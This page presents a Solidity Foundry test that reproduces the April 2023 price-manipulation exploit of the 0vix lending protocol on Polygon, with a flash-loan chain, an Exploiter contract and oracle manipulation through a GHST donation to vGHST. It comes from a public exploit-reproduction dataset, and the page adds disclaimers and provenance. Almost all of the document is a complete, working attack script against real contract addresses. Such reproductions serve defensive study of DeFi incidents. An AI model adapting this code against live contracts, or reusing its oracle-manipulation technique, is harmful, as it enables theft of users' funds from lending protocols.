Public reproduction file

src/test/2023-04/0vix_exp.sol

Public reproduction file for dataset entry 0vix.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-04/0vix_exp.sol471 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import {
6    ICErc20Delegate,
7    IERC20,
8    IUnitroller,
9    IAaveFlashloan,
10    IBalancerVault,
11    Uni_Pair_V2,
12    Uni_Pair_V3
13} from "./../interface.sol";
14 
15// @KeyInfo
16// Project: https://twitter.com/0vixProtocol
17// Date: 2023-04-28
18// Vulnerability : Price Manipulation
19// Description: The root cause is due to the flawed price calculation of a deflation token.
20// Total Lost : ~@2M US$
21// Attack Tx :https://polygonscan.com/tx/0x10f2c28f5d6cd8d7b56210b4d5e0cece27e45a30808cd3d3443c05d4275bb008
22 
23// @Sources
24// Twitter : https://twitter.com/BlockSecTeam/status/1651932529874853888
25// Twitter : https://twitter.com/peckshield/status/1651923235603361793
26// Twitter : https://twitter.com/Mudit__Gupta/status/1651958883634536448
27 
28interface IVGHST is IERC20 {
29    function enter(
30        uint256 _amount
31    ) external returns (uint256);
32    function leave(
33        uint256 _amount
34    ) external;
35    function convertVGHST(
36        uint256 _share
37    ) external view returns (uint256 _ghst);
38}
39 
40interface IDMMLP {
41    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata callbackData) external;
42}
43 
44interface IAlgebraPool {
45    function token0() external view returns (address);
46    function token1() external view returns (address);
47    function swap(
48        address recipient,
49        bool zeroToOne,
50        int256 amountSpecified,
51        uint160 limitSqrtPrice,
52        bytes calldata data
53    ) external returns (int256 amount0, int256 amount1);
54}
55 
56interface ISwapFlashLoan {
57    function swap(
58        uint8 tokenIndexFrom,
59        uint8 tokenIndexTo,
60        uint256 dx,
61        uint256 minDy,
62        uint256 deadline
63    ) external returns (uint256);
64}
65 
66contract ContractTest is Test {
67    IERC20 GHST = IERC20(0x385Eeac5cB85A38A9a07A70c73e0a3271CfB54A7);
68    IERC20 USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);
69    IERC20 USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);
70    IERC20 WMATIC = IERC20(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270);
71    IERC20 DAI = IERC20(0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063);
72    IERC20 WBTC = IERC20(0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6);
73    IERC20 WETH = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619);
74    IERC20 miMATIC = IERC20(0xa3Fa99A148fA48D14Ed51d610c367C61876997F1);
75    IERC20 MATICX = IERC20(0xfa68FB4628DFF1028CFEc22b4162FCcd0d45efb6);
76    IERC20 stMATIC = IERC20(0x3A58a54C066FdC0f2D55FC9C89F0415C92eBf3C4);
77    IERC20 gDAI = IERC20(0x91993f2101cc758D0dEB7279d41e880F7dEFe827);
78    IERC20 wstETH = IERC20(0x03b54A6e9a984069379fae1a4fC4dBAE93B3bCCD);
79    IVGHST vGHST = IVGHST(0x51195e21BDaE8722B29919db56d95Ef51FaecA6C);
80    ICErc20Delegate oUSDT = ICErc20Delegate(0x1372c34acC14F1E8644C72Dad82E3a21C211729f);
81    ICErc20Delegate oMATIC = ICErc20Delegate(0xE554E874c9c60E45F1Debd479389C76230ae25A8);
82    ICErc20Delegate oWBTC = ICErc20Delegate(0x3B9128Ddd834cE06A60B0eC31CCfB11582d8ee18);
83    ICErc20Delegate oDAI = ICErc20Delegate(0x2175110F2936bf630a278660E9B6E4EFa358490A);
84    ICErc20Delegate oWETH = ICErc20Delegate(0xb2D9646A1394bf784E376612136B3686e74A325F);
85    ICErc20Delegate oUSDC = ICErc20Delegate(0xEBb865Bf286e6eA8aBf5ac97e1b56A76530F3fBe);
86    ICErc20Delegate oMATICX = ICErc20Delegate(0xAAcc5108419Ae55Bc3588E759E28016d06ce5F40);
87    ICErc20Delegate ostMATIC = ICErc20Delegate(0xDc3C5E5c01817872599e5915999c0dE70722D07f);
88    ICErc20Delegate owstWETH = ICErc20Delegate(0xf06edA703C62b9889C75DccDe927b93bde1Ae654);
89    ICErc20Delegate ovGHST = ICErc20Delegate(0xE053A4014b50666ED388ab8CbB18D5834de0aB12);
90    IUnitroller unitroller = IUnitroller(0x8849f1a0cB6b5D6076aB150546EddEe193754F1C);
91    IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
92    IAaveFlashloan aaveV2 = IAaveFlashloan(0x8dFf5E27EA6b7AC08EbFdf9eB090F32ee9a30fcf);
93    IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
94    IAlgebraPool AlgebraPool1 = IAlgebraPool(0x80DeeCE4befd9F27D2df88064cf75f080d3ce1b2);
95    IAlgebraPool AlgebraPool2 = IAlgebraPool(0x55CAaBB0d2b704FD0eF8192A7E35D8837e678207);
96    IAlgebraPool AlgebraPool3 = IAlgebraPool(0xe3703608393727C6B3761471d13e064c77c8d836);
97    Uni_Pair_V2 SLP = Uni_Pair_V2(0xf69e93771F11AECd8E554aA165C3Fe7fd811530c);
98    Uni_Pair_V2 UniV2Pair = Uni_Pair_V2(0xcCB9d2100037f1253e6C1682AdF7dC9944498AFF);
99    Uni_Pair_V2 AavegotchiPoolPair = Uni_Pair_V2(0x096C5CCb33cFc5732Bcd1f3195C13dBeFC4c82f4);
100    Uni_Pair_V3 UniV3Pair1 = Uni_Pair_V3(0xA374094527e1673A86dE625aa59517c5dE346d32);
101    Uni_Pair_V3 UniV3Pair2 = Uni_Pair_V3(0x50eaEDB835021E4A108B7290636d62E9765cc6d7);
102    Uni_Pair_V3 UniV3Pair3 = Uni_Pair_V3(0x8f16A8E864162ec84a2906646E08a561b5A7f72d);
103    Uni_Pair_V3 UniV3Pair4 = Uni_Pair_V3(0x45dDa9cb7c25131DF268515131f647d726f50608);
104    ISwapFlashLoan swapFlashLoan = ISwapFlashLoan(0x85fCD7Dd0a1e1A9FCD5FD886ED522dE8221C3EE5);
105    IDMMLP DMMLP = IDMMLP(0xAb08b0C9DADC343d3795dAE5973925c3b6e39977);
106 
107    Exploiter exploiter;
108 
109    // CheatCodes vm = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
110 
111    function setUp() public {
112        vm.createSelectFork("polygon", 42_054_768);
113        vm.label(address(GHST), "GHST");
114        vm.label(address(USDC), "USDC");
115        vm.label(address(USDT), "USDT");
116        vm.label(address(WMATIC), "WMATIC");
117        vm.label(address(DAI), "DAI");
118        vm.label(address(WBTC), "WBTC");
119        vm.label(address(WETH), "WETH");
120        vm.label(address(miMATIC), "miMATIC");
121        vm.label(address(WMATIC), "WMATIC");
122        vm.label(address(stMATIC), "stMATIC");
123        vm.label(address(gDAI), "gDAI");
124        vm.label(address(wstETH), "wstETH");
125        vm.label(address(MATICX), "MATICX");
126        vm.label(address(vGHST), "vGHST");
127        vm.label(address(oMATIC), "oMATIC");
128        vm.label(address(oWBTC), "oWBTC");
129        vm.label(address(oDAI), "oDAI");
130        vm.label(address(oWETH), "oWETH");
131        vm.label(address(oUSDC), "oUSDC");
132        vm.label(address(oMATICX), "oMATICX");
133        vm.label(address(owstWETH), "owstWETH");
134        vm.label(address(ovGHST), "ovGHST");
135        vm.label(address(aaveV3), "aaveV3");
136        vm.label(address(aaveV2), "aaveV2");
137        vm.label(address(Balancer), "Balancer");
138        vm.label(address(AlgebraPool1), "AlgebraPool1");
139        vm.label(address(AlgebraPool2), "AlgebraPool2");
140        vm.label(address(AlgebraPool3), "AlgebraPool3");
141        vm.label(address(SLP), "SLP");
142        vm.label(address(UniV2Pair), "UniV2Pair");
143        vm.label(address(AavegotchiPoolPair), "AavegotchiPoolPair");
144        vm.label(address(UniV3Pair1), "UniV3Pair1");
145        vm.label(address(UniV3Pair2), "UniV3Pair2");
146        vm.label(address(UniV3Pair3), "UniV3Pair3");
147        vm.label(address(UniV3Pair4), "UniV3Pair4");
148        vm.label(address(DMMLP), "DMMLP");
149        vm.label(address(swapFlashLoan), "swapFlashLoan");
150        vm.label(address(unitroller), "unitroller");
151    }
152 
153    function testExploit() external {
154        deal(address(this), 0);
155        exploiter = new Exploiter();
156        vGHST.approve(address(ovGHST), type(uint256).max);
157        GHST.approve(address(vGHST), type(uint256).max);
158        USDT.approve(address(oUSDT), type(uint256).max);
159        aaveV3Flashloan();
160 
161        emit log_named_decimal_uint(
162            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
163        );
164        emit log_named_decimal_uint(
165            "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
166        );
167        emit log_named_decimal_uint(
168            "Attacker GHST balance after exploit", GHST.balanceOf(address(this)), GHST.decimals()
169        );
170    }
171    // aaveV3, aaveV2 FlashLoan callback
172 
173    function executeOperation(
174        address[] calldata assets,
175        uint256[] calldata amounts,
176        uint256[] calldata premiums,
177        address initiator,
178        bytes calldata params
179    ) external returns (bool) {
180        if (msg.sender == address(aaveV3)) {
181            GHST.approve(msg.sender, type(uint256).max);
182            USDC.approve(msg.sender, type(uint256).max);
183            USDT.approve(msg.sender, type(uint256).max);
184            aaveV2Flashloan();
185            return true;
186        } else {
187            USDC.approve(msg.sender, type(uint256).max);
188            USDT.approve(msg.sender, type(uint256).max);
189            balancerFlashloan();
190            console.log("6. swap asset to USD and GHST");
191            swapTokenToUSDAndGHST();
192            return true;
193        }
194    }
195 
196    // balancer FlashLoan callback
197    function receiveFlashLoan(
198        address[] memory tokens,
199        uint256[] memory amounts,
200        uint256[] memory feeAmounts,
201        bytes memory userData
202    ) external {
203        console.log("1. deposit USDT collateral");
204        vGHST.enter(294_000 * 1e18);
205        oUSDT.mint(USDT.balanceOf(address(this))); // deposit USDT collateral
206 
207        console.log("2. borrow asset");
208        address[] memory cTokens = new address[](1);
209        cTokens[0] = address(oUSDT);
210        unitroller.enterMarkets(cTokens);
211        borrowAll(); // borrow asset
212 
213        console.log("3. Build leveraged debt positions by USDC collateral");
214        USDC.transfer(address(exploiter), 24_500_000 * 1e6);
215        vGHST.transfer(address(exploiter), vGHST.balanceOf(address(this)));
216        exploiter.mint(24, address(this)); // Build leveraged debt positions by USDC collateral
217 
218        console.log("4. VGHSTOracle price manipulation");
219        console.log("the price of vGHST before donate:\t", vGHST.convertVGHST(1e18));
220        GHST.transfer(address(vGHST), 1_656_000 * 1e18); // VGHSTOracle price manipulation
221        console.log("the price of vGHST after donate:\t", vGHST.convertVGHST(1e18));
222 
223        console.log("5. liquidate Leveraged Debt and Get back USDC collateral");
224        liquidateLeveragedDebt(); // liquidate Leveraged Debt
225        oUSDC.redeem(oUSDC.balanceOf(address(this))); // Get back USDC collateral
226        oUSDC.redeemUnderlying(USDC.balanceOf(address(oUSDC))); // ?
227        vGHST.leave(vGHST.balanceOf(address(this)));
228 
229        USDC.transfer(address(Balancer), amounts[0]);
230        USDT.transfer(address(Balancer), amounts[1]);
231    }
232 
233    function borrowAll() internal {
234        oMATIC.borrow(address(oMATIC).balance);
235        oWBTC.borrow(WBTC.balanceOf(address(oWBTC)));
236        oDAI.borrow(DAI.balanceOf(address(oDAI)));
237        oWETH.borrow(WETH.balanceOf(address(oWETH)));
238        oUSDC.borrow(USDC.balanceOf(address(oUSDC)));
239        oUSDT.borrow(1_160_000 * 1e6);
240        oMATICX.borrow(MATICX.balanceOf(address(oMATICX)));
241        ostMATIC.borrow(120_000 * 1e18);
242        owstWETH.borrow(wstETH.balanceOf(address(owstWETH)));
243    }
244 
245    function liquidateLeveragedDebt() internal {
246        uint256 liquidateAmount = vGHST.balanceOf(address(this));
247        for (uint256 i; i < 23; i++) {
248            ovGHST.liquidateBorrow(address(exploiter), liquidateAmount, address(oUSDC));
249            ovGHST.redeemUnderlying(liquidateAmount);
250        }
251        ovGHST.liquidateBorrow(address(exploiter), 336_548_170_226_199_618_982_307, address(oUSDC));
252        ovGHST.redeemUnderlying(336_548_170_226_199_618_982_307);
253    }
254 
255    function swapTokenToUSDAndGHST() internal {
256        wstETHToWETH();
257        stMATICToWMATIC();
258        MATICXToWMATIC();
259        WMATICToGHST();
260        WMATICToUSDC();
261        WBTCToWETH();
262        WETHToGHST();
263        WETHToUSDC();
264        DAIToUSDT();
265        USDCToGHST();
266    }
267 
268    function wstETHToWETH() internal {
269        wstETH.transfer(address(DMMLP), wstETH.balanceOf(address(this)));
270        DMMLP.swap(0, 314 * 1e18, address(this), new bytes(0));
271    }
272 
273    function stMATICToWMATIC() internal {
274        stMATIC.approve(address(Balancer), type(uint256).max);
275        IBalancerVault.SingleSwap memory singleSwap = IBalancerVault.SingleSwap({
276            poolId: 0x8159462d255c1d24915cb51ec361f700174cd99400000000000000000000075d,
277            kind: IBalancerVault.SwapKind.GIVEN_IN,
278            assetIn: address(stMATIC),
279            assetOut: address(WMATIC),
280            amount: stMATIC.balanceOf(address(this)),
281            userData: new bytes(0)
282        });
283        IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({
284            sender: address(this),
285            fromInternalBalance: false,
286            recipient: payable(address(this)),
287            toInternalBalance: false
288        });
289        Balancer.swap(singleSwap, funds, 0, block.timestamp);
290    }
291 
292    function MATICXToWMATIC() internal {
293        MATICX.approve(address(Balancer), type(uint256).max);
294        IBalancerVault.SingleSwap memory singleSwap = IBalancerVault.SingleSwap({
295            poolId: 0xb20fc01d21a50d2c734c4a1262b4404d41fa7bf000000000000000000000075c,
296            kind: IBalancerVault.SwapKind.GIVEN_IN,
297            assetIn: address(MATICX),
298            assetOut: address(WMATIC),
299            amount: MATICX.balanceOf(address(this)),
300            userData: new bytes(0)
301        });
302        IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({
303            sender: address(this),
304            fromInternalBalance: false,
305            recipient: payable(address(this)),
306            toInternalBalance: false
307        });
308        Balancer.swap(singleSwap, funds, 0, block.timestamp);
309    }
310 
311    function WMATICToGHST() internal {
312        address(WMATIC).call{value: address(this).balance}("");
313        AlgebraPool1.swap(address(this), true, 314_000 * 1e18, 4_495_990_861_938_833_545_658_574_552, new bytes(0));
314        WMATIC.transfer(address(SLP), 100_000 * 1e18);
315        SLP.swap(0, 44_000 * 1e18, address(this), new bytes(0));
316    }
317 
318    function WMATICToUSDC() internal {
319        UniV3Pair1.swap(
320            address(this), true, int256(WMATIC.balanceOf(address(this))), 70_888_624_962_869_287_903_104, new bytes(0)
321        );
322    }
323 
324    function WBTCToWETH() internal {
325        UniV3Pair2.swap(
326            address(this),
327            true,
328            int256(WBTC.balanceOf(address(this))),
329            25_729_321_748_246_614_730_688_896_004_128_086,
330            new bytes(0)
331        );
332    }
333 
334    function WETHToGHST() internal {
335        WETH.transfer(address(UniV2Pair), 50 * 1e18);
336        UniV2Pair.swap(47_600 * 1e18, 0, address(this), new bytes(0));
337        UniV3Pair3.swap(address(this), false, 65 * 1e18, 193_488_308_442_001_139_268_702_034_900, new bytes(0));
338    }
339 
340    function WETHToUSDC() internal {
341        UniV3Pair4.swap(address(this), false, 530 * 1e18, 1_998_382_131_994_531_085_392_415_970_245_451, new bytes(0));
342        AlgebraPool2.swap(
343            address(this),
344            false,
345            int256(WETH.balanceOf(address(this))),
346            1_998_382_131_994_531_085_392_415_970_245_451,
347            new bytes(0)
348        );
349    }
350 
351    function DAIToUSDT() internal {
352        DAI.approve(address(swapFlashLoan), type(uint256).max);
353        swapFlashLoan.swap(1, 3, DAI.balanceOf(address(this)), 150_000 * 1e6, block.timestamp);
354    }
355 
356    function USDCToGHST() internal {
357        USDC.approve(address(Balancer), type(uint256).max);
358        IBalancerVault.SingleSwap memory singleSwap = IBalancerVault.SingleSwap({
359            poolId: 0xae8f935830f6b418804836eacb0243447b6d977c000200000000000000000ad1,
360            kind: IBalancerVault.SwapKind.GIVEN_IN,
361            assetIn: address(USDC),
362            assetOut: address(GHST),
363            amount: 220_000 * 1e6,
364            userData: new bytes(0)
365        });
366        IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({
367            sender: address(this),
368            fromInternalBalance: false,
369            recipient: payable(address(this)),
370            toInternalBalance: false
371        });
372        Balancer.swap(singleSwap, funds, 0, block.timestamp);
373        AlgebraPool3.swap(address(this), true, 900_000 * 1e6, 565_521_259_495_684_628_339_632_353_478_984, new bytes(0));
374        USDC.transfer(address(AavegotchiPoolPair), 310_000 * 1e6);
375        AavegotchiPoolPair.swap(0, 158_000 * 1e18, address(this), new bytes(0));
376    }
377 
378    function algebraSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
379        if (amount0Delta > 0) {
380            IERC20(IAlgebraPool(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));
381        } else if (amount1Delta > 0) {
382            IERC20(IAlgebraPool(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));
383        }
384    }
385 
386    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
387        if (amount0Delta > 0) {
388            IERC20(Uni_Pair_V3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));
389        } else if (amount1Delta > 0) {
390            IERC20(Uni_Pair_V3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));
391        }
392    }
393 
394    function aaveV3Flashloan() internal {
395        address[] memory assets = new address[](3);
396        assets[0] = address(GHST);
397        assets[1] = address(USDC);
398        assets[2] = address(USDT);
399        uint256[] memory amounts = new uint256[](3);
400        amounts[0] = 1_950_000 * 1e18;
401        amounts[1] = 6_800_000 * 1e6;
402        amounts[2] = 2_300_000 * 1e6;
403        uint256[] memory modes = new uint256[](3);
404        modes[0] = 0;
405        modes[1] = 0;
406        modes[2] = 0;
407        aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
408    }
409 
410    function aaveV2Flashloan() internal {
411        address[] memory assets = new address[](2);
412        assets[0] = address(USDC);
413        assets[1] = address(USDT);
414        uint256[] memory amounts = new uint256[](2);
415        amounts[0] = 13_000_000 * 1e6;
416        amounts[1] = 3_250_000 * 1e6;
417        uint256[] memory modes = new uint256[](2);
418        modes[0] = 0;
419        modes[1] = 0;
420        aaveV2.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
421    }
422 
423    function balancerFlashloan() internal {
424        address[] memory tokens = new address[](2);
425        tokens[0] = address(USDC);
426        tokens[1] = address(USDT);
427        uint256[] memory amounts = new uint256[](2);
428        amounts[0] = 4_700_000 * 1e6;
429        amounts[1] = 600_000 * 1e6;
430        bytes memory userData = "";
431        Balancer.flashLoan(address(this), tokens, amounts, userData);
432    }
433 
434    receive() external payable {}
435}
436 
437contract Exploiter {
438    IERC20 GHST = IERC20(0x385Eeac5cB85A38A9a07A70c73e0a3271CfB54A7);
439    IERC20 USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);
440    IERC20 USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);
441    ICErc20Delegate oUSDT = ICErc20Delegate(0x1372c34acC14F1E8644C72Dad82E3a21C211729f);
442    ICErc20Delegate oUSDC = ICErc20Delegate(0xEBb865Bf286e6eA8aBf5ac97e1b56A76530F3fBe);
443    IVGHST vGHST = IVGHST(0x51195e21BDaE8722B29919db56d95Ef51FaecA6C);
444    ICErc20Delegate ovGHST = ICErc20Delegate(0xE053A4014b50666ED388ab8CbB18D5834de0aB12);
445    IUnitroller unitroller = IUnitroller(0x8849f1a0cB6b5D6076aB150546EddEe193754F1C);
446 
447    constructor() {
448        USDC.approve(address(oUSDC), type(uint256).max);
449        vGHST.approve(address(ovGHST), type(uint256).max);
450    }
451 
452    function mint(uint256 amountOfOptions, address owner) external {
453        oUSDC.mint(USDC.balanceOf(address(this)));
454        address[] memory cTokens = new address[](1);
455        cTokens[0] = address(oUSDC);
456        unitroller.enterMarkets(cTokens);
457        ovGHST.borrow(vGHST.balanceOf(address(ovGHST)));
458        uint256 vGHSTAmount = vGHST.balanceOf(address(this));
459        console.log("vGHST", vGHST.balanceOf(address(this)));
460        for (uint256 i; i < amountOfOptions; i++) {
461            ovGHST.mint(vGHSTAmount);
462            ovGHST.borrow(vGHSTAmount);
463        }
464        vGHST.transfer(owner, vGHSTAmount);
465        ovGHST.transfer(owner, ovGHST.balanceOf(address(this)));
466        oUSDT.borrow(USDT.balanceOf(address(oUSDT)));
467        oUSDC.borrow(720_000 * 1e6);
468        USDT.transfer(owner, USDT.balanceOf(address(this)));
469        USDC.transfer(owner, USDC.balanceOf(address(this)));
470    }
471}

Analysis

Dataset entry

Public Foundry test for “0vix” (2023-04-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-04/Allbridge_exp.solSame month in the dataset · 128 lines
src/test/2023-04/Axioma_exp.solSame month in the dataset · 65 lines
src/test/2023-04/HundredFinance_2_exp.solSame month in the dataset · 327 lines
src/test/2023-04/MetaPoint_exp.solSame month in the dataset · 73 lines
src/test/2023-04/OLIFE_exp.solSame month in the dataset · 101 lines
src/test/2023-04/Paribus_exp.solSame month in the dataset · 131 lines
src/test/2023-04/Sentiment_exp.solSame month in the dataset · 239 lines
src/test/2023-04/silo_finance_exp.solSame month in the dataset · 171 lines
src/test/2023-04/Sushi_Router_exp.solSame month in the dataset · 94 lines
src/test/2023-04/Swapos_exp.solSame month in the dataset · 46 lines
src/test/2023-04/YearnFinance_exp.solSame month in the dataset · 526 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attack Tx
0x10f2c28f5d6cd8d7b56210b4d5e0cece27e45a30808cd3d3443c05d4275bb008

File record

Name: 0vix
Path: src/test/2023-04/0vix_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 66d543606cbc1b0eecadcdbeda882c84133d3191
Language: Solidity
Size: 472 lines
Date: 2023-04-28
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-04/0vix_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 66d543606cbc1b0eecadcdbeda882c84133d3191, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.